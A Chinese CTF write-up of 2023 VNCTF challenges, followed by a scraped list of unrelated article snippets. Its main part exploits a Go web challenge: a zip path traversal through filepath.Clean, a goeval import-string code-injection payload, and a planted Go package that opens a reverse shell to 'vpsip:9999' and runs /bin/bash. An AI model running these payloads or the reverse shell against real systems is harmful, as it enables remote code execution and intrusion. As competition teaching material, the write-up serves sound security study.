2023VNCTF的两道(暂时)
from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/
比赛的时候在回学校的路上,所以没有打,听说质量挺高,赛后做一下
象棋王子
一个普通的js游戏,玩过关了就给flag,所以flag肯定在前端源码里

这里就是弹flag的js,只不过被混淆了,直接复制到控制台执行就行

BabyGo
0x00 前言
这题在机场等同学的时候做了一下,但是那个解压功能一直报错,我还以为是我的问题,结构第二天做一下发现是可以的
- goeval代码注入
- filepath.Clean构造任意解压路径
0x01 源码分析
package mainimport ("encoding/gob""fmt""github.com/PaulXu-cn/goeval""github.com/duke-git/lancet/cryptor""github.com/duke-git/lancet/fileutil""github.com/duke-git/lancet/random""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin""net/http""os""path/filepath""strings"
)type User struct {Name stringPath stringPower string
}func main() {r := gin.Default()store := cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions("session", store))r.LoadHTMLGlob("template/*")r.GET("/", func(c *gin.Context) {userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"session := sessions.Default(c)session.Set("shallow", userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ := os.Create(userDir + "user.gob")user := User{Name: "ctfer", Path: userDir, Power: "low"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})return}c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})})r.GET("/upload", func(c *gin.Context) {c.HTML(200, "upload.html", gin.H{"message": "upload me!"})})r.POST("/upload", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"fileutil.CreateDir(userUploadDir)file, err := c.FormFile("file")if err != nil {c.HTML(500, "upload.html", gin.H{"message": "no file upload"})return}ext := file.Filename[strings.LastIndex(file.Filename, "."):]if ext == ".gob" || ext == ".go" {c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})return}filename := userUploadDir + file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err = c.SaveUploadedFile(file, filename)if err != nil {c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})return}c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})})r.GET("/unzip", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"files, _ := fileutil.ListFileNames(userUploadDir)destPath := filepath.Clean(userUploadDir + c.Query("path"))for _, file := range files {if fileutil.MiMeType(userUploadDir+file) == "application/zip" {err := fileutil.UnZip(userUploadDir+file, destPath)if err != nil {c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})return}fileutil.RemoveFile(userUploadDir + file)}}c.HTML(200, "zip.html", gin.H{"message": "success unzip"})})r.GET("/backdoor", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userDir := session.Get("shallow").(string)if fileutil.IsExist(userDir + "user.gob") {file, _ := os.Open(userDir + "user.gob")decoder := gob.NewDecoder(file)var ctfer Userdecoder.Decode(&ctfer)if ctfer.Power == "admin" {eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))if err != nil {fmt.Println(err)}c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})return} else {c.HTML(200, "backdoor.html", gin.H{"message": "low power"})return}} else {c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})return}})r.Run(":80")
}
总体来说不是太难理解
/路由,生成一个userDir并保存在Session里,后面的部分都会从Session取这个的值进行操作
并且还会创建一个user.gob文件,将User信息保存在里面
/upload路由,将文件上传到userDir+"uploads/"目录,并且会检测文件后缀
/unzip路由,会对userDir+"uploads/"目录里的zip文件进行解压,且目的路径可控,接受GET传参的path的值
destPath := filepath.Clean(userUploadDir + c.Query("path"))
然后来看看这个filepath.Clean是什么东西
Clean通过纯词法处理返回与path相当的最短路径名称。它反复应用以下规则,直到不能再做进一步处理。
用一个元素替换多个Separator元素。
消除每个.路径名元素(当前目录)。
消除每个内部的…路径名称元素(父目录)和它前面的非…元素。
消除了将…放在根路径后面的情况(‘/…’):也就是说,假设Separator是’/',在一个路径的开头用"/“替换”/…"。
返回的路径只有在代表根目录时才以斜线结尾,例如Unix系统中的"/"或Windows系统中的
C:最后,任何出现的斜线都被Separator替换。
如果这个过程的结果是一个空字符串,Clean返回字符串"."。
from https://pkg.go.dev/path/filepath#Clean
所以我们可以构造路径,将文件解压到任何我们可以解压的地方
/backdoor路由,会从userDir目录读取user.gob文件的内容,并检测Power键的值是否为"admin",如果为True,就执行
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
并返回执行结果
所以可以在本地构造一个user.gob,将Power的值改为"admin"并将其压缩,然后上传并解压到userDir目标覆盖原来的user.gob,这样就可以成功执行到goeval.Eval()了
而在goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))里可以发现并没有可以直接执行任意代码的地方,可控的只有第三个参数
goeval.Eval()的第三参数可以进行包的导入,因为通过报错可以执行题目环境GO的src目录,所以我最开始想的是在fmt包里导入一个函数Println,这样在执行goeval.Eval()的时候就可以执行我们自己构造的代码。
但是我想少了,如果直接将pkg传参为fmt的话,因为在Println()被fmt包里的其他文件被定义过,所以我这再定义一个就会报错

然后我就随手搜了一下goeval.Eval,就发现了可以对goeval.Eval进行代码注入,从而远程执行代码

根据这篇文件去看看goeval.Eval的源码
func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {var (tmp = `package main
%s
%s
func main() {
%s
}
`importStr stringfullCode stringnewTmpDir = tempDir + dirSeparator + RandString(8))if 0 < len(imports) {importStr = "import ("for _, item := range imports {if blankInd := strings.Index(item, " "); -1 < blankInd {importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])} else {importStr += fmt.Sprintf("\n\"%s\"", item)}}importStr += "\n)"}fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)var codeBytes = []byte(fullCode)// 格式化输出的代码if formatCode, err := format.Source(codeBytes); nil == err {// 格式化失败,就还是用 content 吧codeBytes = formatCode}// 创建目录if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {return}defer os.RemoveAll(newTmpDir)// 创建文件tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")if err != nil {return re, err}defer os.Remove(tmpFile.Name())// 代码写入文件tmpFile.Write(codeBytes)tmpFile.Close()// 运行代码cmd := exec.Command("go", "run", tmpFile.Name())res, err := cmd.CombinedOutput()return res, err
}
可以看出来,Eval是将代码写入一个临时文件然后运行再返回运行的结果,而且是以拼接的方式来写入代码
所以可以进行代码注入,用\t替代空格,同时由于他执行的是main内的代码,而且这个是写死的,所以得将要执行的代码写入init()里,这个函数会在main()前执行,然后使用var来闭合最后面的")
init函数特性
1.init函数可以在所有程序执行开始前被调用,并且每个包下可以有多个init函数
2.init函数先于main函数自动执行
3.每个包中可以有多个init函数,每个包中的源文件中也可以有多个init函数
4.init函数没有输入参数、返回值,也未声明,所以无法引用
5.不同包的init函数按照包导入的依赖关系决定执行顺序
6.无论包被导入多少次,init函数只会被调用一次,也就是只执行一次
7.init函数在代码中不能被显示的调用,不能被引用(赋值给函数变量),否则会出现编译错误
8.导入包不要出现循环依赖,这样会导致程序编译失败
9.Go程序仅仅想要用一个package的init执行,我们可以这样使用:import _ “test_xxxx”,导入包的时候加上下划线就ok了
10.包级别的变量初始化、init函数执行,这两个操作都是在同一个goroutine中调用的,按顺序调用,一次一个包
11.init函数不应该依赖任何在main函数里创建的变量,因为init函数的执行是在main函数之前的
12.在init函数中也可以启动goroutine,也就是在初始化的同时启动新的goroutine,这并不会影响初始化顺序
13.复杂逻辑不建议使用init函数,会增加代码的复杂性,可读性也会下降
14.一个源文件下可以有多个init函数,代码比较长时可以考虑分多个init函数
15.编程时不要依赖init的顺序
pkg := "os/exec\"\n\"fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\nvar(\na=\"1"
goeval.Eval("", "fmt.Println(\"Good\")", pkg)
就会执行
package mainimport (
"os/exec"
"fmt"
)func init(){
cmd:=exec.Command("ls")
out,_:=cmd.CombinedOutput()
fmt.Println(string(out))
}
var(
a="1"
)func main() {
fmt.Println("Good")
}
0x02 题解
方法一 代码注入
先在本地创建一个user.gob文件,就跟源码里的方式一样建一个再压缩
然后上传文件,再解压缩文件
解压缩的url为
/unzip?path=../../../../tmp/49c69cef49dc4b3be71e988a20149ca7
然后访问/backdoor路由,进行代码注入,远程执行命令
payload
/backdoor?pkg=os%2Fexec%22%0A%22fmt%22%0A%29%0A%0Afunc%09init%28%29%7B%0Acmd%3A%3Dexec.Command%28%22cat%22%2C%22%2Fffflllaaaggg%22%29%0Aout%2C_%3A%3Dcmd.CombinedOutput%28%29%0Afmt.Println%28string%28out%29%29%0A%7D%0Avar%28%0Aa%3D%221

方法二 使用别名执行自己的包
这是我在写wp的时候发现的另一个方法
看一下Eval对第三个参数的区别处理
for _, item := range imports {if blankInd := strings.Index(item, " "); -1 < blankInd {importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])} else {importStr += fmt.Sprintf("\n\"%s\"", item)}
}
eg:
goeval.Eval("", "fmt.Println(\"Good\")", "fmt os/exec")
就会变成
package mainimport (fmt "os/exec"
)func main() {
fmt.Println("Good")
}
相当于给导入的包设置一个别名,所以可以将我们自己的包设置别名为fmt,从而执行任意代码
自己建立的包
PrintLn.go
package v2iimport ("fmt""os/exec"
)
func Println(a string){_=acmd:=exec.Command("ls", "/")out,_:=cmd.CombinedOutput()fmt.Println(string(out))
}
将文件压缩,然后上传,解压到/usr/local/go/src/v2i
路径在报错里看到

/unzip?path=../../../../usr/local/go/src/v2i
然后在/backdoor路由
/backdoor?pkg=fmt v2i

这样就执行了我们的代码,但是有点麻烦,得不断上传解压缩
但也可以试试反弹shell,如果要反弹shell的话,自己建的包就得是【从网上抄的代码XD】
package v2i
import ("io""net""io/ioutil""log""os/exec"
)var (cmd stringline string
)func Println(a string) {_=aaddr := "vpsip:9999" //远程连接主机名conn,err := net.Dial("tcp",addr) //拨号操作,用于连接服务端,需要指定协议。if err != nil {log.Fatal(err)}buf := make([]byte,10240) //定义一个切片的长度是10240。for {n,err := conn.Read(buf) //接受的命令if err != nil && err != io.EOF { //io.EOF在网络编程中表示对端把链接关闭了。log.Fatal(err)}cmd_str := string(buf[:n])cmd := exec.Command("/bin/bash","-c",cmd_str) //命令执行stdout, err := cmd.StdoutPipe()if err != nil {log.Fatal(err)}defer stdout.Close()if err := cmd.Start(); err != nil {log.Fatal(err)}opBytes, err := ioutil.ReadAll(stdout)if err != nil {log.Fatal(err)}conn.Write([]byte(opBytes)) //返回执行结果}
}
然后用相同的方式执行,就可以在vps上获得shell

0x03 参考文章
- goeval代码注入导致远程代码执行(2022虎符Final)
相关文章:
2023VNCTF的两道(暂时)
from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/ 比赛的时候在回学校的路上,所以没有打,听说质量挺高,赛后做一下 象棋王子 一个普通的js游戏,玩过关了就给flag,所以flag肯定在前端源码里 这…...
JDK版本区别
1. 泛型 ArrayList listnew ArrayList()------>ArrayList<Integer>listnew ArrayList<Integer>(); 2 自动装箱/拆箱 nt ilist.get(0).parseInt();-------->int ilist.get(0);原始类型与对应的包装类不用显式转换 3 for-each i0;i<a.length;i------------&…...
Android 基础知识4-2.8 TableLayout(表格布局)详解
一、TableLayout的概述 表格布局是以行数和列数来确定位置进行排列。就像一间教室,确定好行数与列数就能让同学有序入座。 注意:我们需要先添加<TableRow容器,每添加一个就会多一行,然后再往<TableRow容器中添加其它组件。…...
SQL代码编码原则和规范
目录1、先了解MySQL的执行过程2、数据库常见规范3、所有表必须使用Innodb存储引擎4、每个Innodb表必须有个主键5、数据库和表的字符集统一使用UTF86、查询SQL尽量不要使用select *,而是具体字段7、避免在where子句中使用 or 来连接条件8、尽量使用数值替代字符串类型…...
【博客627】gobgp服务无损变更:graceful restart特性
gobgp服务无损变更:graceful restart特性 场景 当我们的bgp网关在对外宣告bgp路由的时候,如果我们网关有新的特性要发布,那么此时如果把网关停止再启动新版本,此时bgp路由会有短暂撤回再播出的过程,会有网络抖动 期待…...
一起学 pixijs(1):常见图形的绘制
大家好,我是前端西瓜哥。 pixijs 是一个强大的 Web Canvas 2D 库,以其强大性能而著称。其底层使用了 WebGL 实现了硬件加速,当然如果不支持的话,也能回退为 Canvas。 本文使用的 pixijs 版本为 7.1.2。 Application Applicati…...
2023年PMP考试教材有哪些?(含pmp资料)
PMP考试教材是《PMBOK指南》,但这次的考试因为大纲的更新,而需要另外的敏捷书籍来备考。且官方发了通知,3、5月还是第六版指南,8月及8月之后,使用第七版教材。 新版考纲将专注于以下三个新领域: 人 – 强调与有效领导项…...
centos7防火墙工具firewall-cmd使用
centos7防火墙工具firewall-cmd使用防火墙概述centos7防火墙工具firewall-cmd使用介绍firewalld的基本使用服务管理工具相关指令配置firewalld-cmd防火墙概述 防火墙是可以帮助计算机在内部网络和外部网络之间构建一道相对隔绝的保护屏障,从而保护数据信息的一种技…...
js html过滤所有标签格式并清除所有nbsp;
var odiv document.getElementsByTagName("*"); for(var i 0; i<odiv.length; i){ if(odiv[i].className newDetail){ let obj odiv[i].childNodes[3]; let oldHtml odiv[i].childNodes[3].innerText;//获取html中不带标签内容 //console.log(odiv[i].childN…...
「技术选型」深度学习软件如何选择?
深度学习(DL, Deep Learning)是机器学习(ML, Machine Learning)领域中一个新的研究方向,它被引入机器学习使其更接近于最初的目标——人工智能(AI, Artificial Intelligence)。 深度学习是学习样本数据的内在规律和表示层次,这些学习过程中获得的信息对…...
加油站会员管理小程序实战开发教程13
我们上一篇讲解了会员注册的功能,本篇我们介绍一下会员开卡的功能。 会员注册之后,可以进行开卡的动作。一个会员可以有多张会员卡,在微搭中用来描述这种一对多的关系的,我们用关联关系来表达。 登录微搭的控制台,点击数据模型,点击新建数据模型 输入数据源的名称会员卡…...
Go语言Web入门之浅谈Gin框架
Gin框架Gin简介第一个Gin示例HelloworldRESTful APIGin返回数据的几种格式Gin 获取参数HTTP重定向Gin路由&路由组Gin框架当中的中间件Gin简介 Gin 是一个用 Go (Golang) 编写的 web 框架。它是一个类似于 martini 但拥有更好性能的 API 框架,由于 httprouter&a…...
《MySQL学习》 MySQL优化器选择如何选择索引
一.优化器的选择逻辑 建表语句 CREATE TABLE t (id int(11) NOT NULL AUTO_INCREMENT,a int(11) DEFAULT NULL,b int(11) DEFAULT NULL,PRIMARY KEY (id),KEY a (a),KEY b (b) ) ENGINEInnoDB;往表中插入10W条数据 delimiter ;; create procedure idata() begindeclare i in…...
uniapp 悬浮窗(应用内、无需授权) Ba-FloatWindow2
简介(下载地址) Ba-FloatWindow2 是一款应用内并且无需授权的悬浮窗插件。支持多种拖动;自定义位置、大小;支持动态修改。 支持自动定义起始位置支持自定义悬浮窗大小支持贴边显示支持多种拖动方效果:不可拖动、任意…...
MMKV与mmap:全方位解析
概述 MMKV 是基于 mmap 内存映射的移动端通用 key-value 组件,底层序列化/反序列化使用 protobuf 实现,性能高,稳定性强。从 2015 年中至今,在 iOS 微信上使用已有近 3 年,其性能和稳定性经过了时间的验证。近期已移植…...
【信息系统项目管理师】项目管理十大知识领域记忆敲出(整体范围进度)
【信息系统项目管理师】项目管理十大知识领域记忆敲出(整体范围进度) 【信息系统项目管理师】项目管理十大知识领域记忆敲出(整体范围进度)【信息系统项目管理师】项目管理十大知识领域记忆敲出(整体范围进度ÿ…...
一起学 pixijs(3):Sprite
大家好,我是前端西瓜哥。今天来学习 pixijs 的 Sprite。 Sprite pixijs 的 Sprite 类用于将一些纹理(Texture)渲染到屏幕上。 Sprite 直译为 “精灵”,是游戏开发中常见的术语,就是将一个角色的多个动作放到一个图片…...
深入讲解Kubernetes架构-垃圾收集
垃圾收集(Garbage Collection)是 Kubernetes 用于清理集群资源的各种机制的统称。 垃圾收集允许系统清理如下资源:终止的 Pod已完成的 Job不再存在属主引用的对象未使用的容器和容器镜像动态制备的、StorageClass 回收策略为 Delete 的 PV 卷…...
Flink03: 集群安装部署
Flink支持多种安装部署方式 StandaloneON YARNMesos、Kubernetes、AWS… 这些安装方式我们主要讲一下standalone和on yarn。 如果是一个独立环境的话,可能会用到standalone集群模式。 在生产环境下一般还是用on yarn 这种模式比较多,因为这样可以综合利…...
OCR项目实战(一):手写汉语拼音识别(Pytorch版)
✨写在前面:强烈推荐给大家一个优秀的人工智能学习网站,内容包括人工智能基础、机器学习、深度学习神经网络等,详细介绍各部分概念及实战教程,非常适合人工智能领域初学者及研究者学习。➡️点击跳转到网站。 📝OCR专栏…...
Java如何权衡是使用无序的数组还是有序的数组
在 Java 中,选择有序数组还是无序数组取决于具体场景的性能需求与操作特点。以下是关键权衡因素及决策指南: ⚖️ 核心权衡维度 维度有序数组无序数组查询性能二分查找 O(log n) ✅线性扫描 O(n) ❌插入/删除需移位维护顺序 O(n) ❌直接操作尾部 O(1) ✅内存开销与无序数组相…...
【网络安全产品大调研系列】2. 体验漏洞扫描
前言 2023 年漏洞扫描服务市场规模预计为 3.06(十亿美元)。漏洞扫描服务市场行业预计将从 2024 年的 3.48(十亿美元)增长到 2032 年的 9.54(十亿美元)。预测期内漏洞扫描服务市场 CAGR(增长率&…...
[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...
Java入门学习详细版(一)
大家好,Java 学习是一个系统学习的过程,核心原则就是“理论 实践 坚持”,并且需循序渐进,不可过于着急,本篇文章推出的这份详细入门学习资料将带大家从零基础开始,逐步掌握 Java 的核心概念和编程技能。 …...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
ABAP设计模式之---“简单设计原则(Simple Design)”
“Simple Design”(简单设计)是软件开发中的一个重要理念,倡导以最简单的方式实现软件功能,以确保代码清晰易懂、易维护,并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计,遵循“让事情保…...
Linux离线(zip方式)安装docker
目录 基础信息操作系统信息docker信息 安装实例安装步骤示例 遇到的问题问题1:修改默认工作路径启动失败问题2 找不到对应组 基础信息 操作系统信息 OS版本:CentOS 7 64位 内核版本:3.10.0 相关命令: uname -rcat /etc/os-rele…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
逻辑回归暴力训练预测金融欺诈
简述 「使用逻辑回归暴力预测金融欺诈,并不断增加特征维度持续测试」的做法,体现了一种逐步建模与迭代验证的实验思路,在金融欺诈检测中非常有价值,本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...
ubuntu22.04 安装docker 和docker-compose
首先你要确保没有docker环境或者使用命令删掉docker sudo apt-get remove docker docker-engine docker.io containerd runc安装docker 更新软件环境 sudo apt update sudo apt upgrade下载docker依赖和GPG 密钥 # 依赖 apt-get install ca-certificates curl gnupg lsb-rel…...
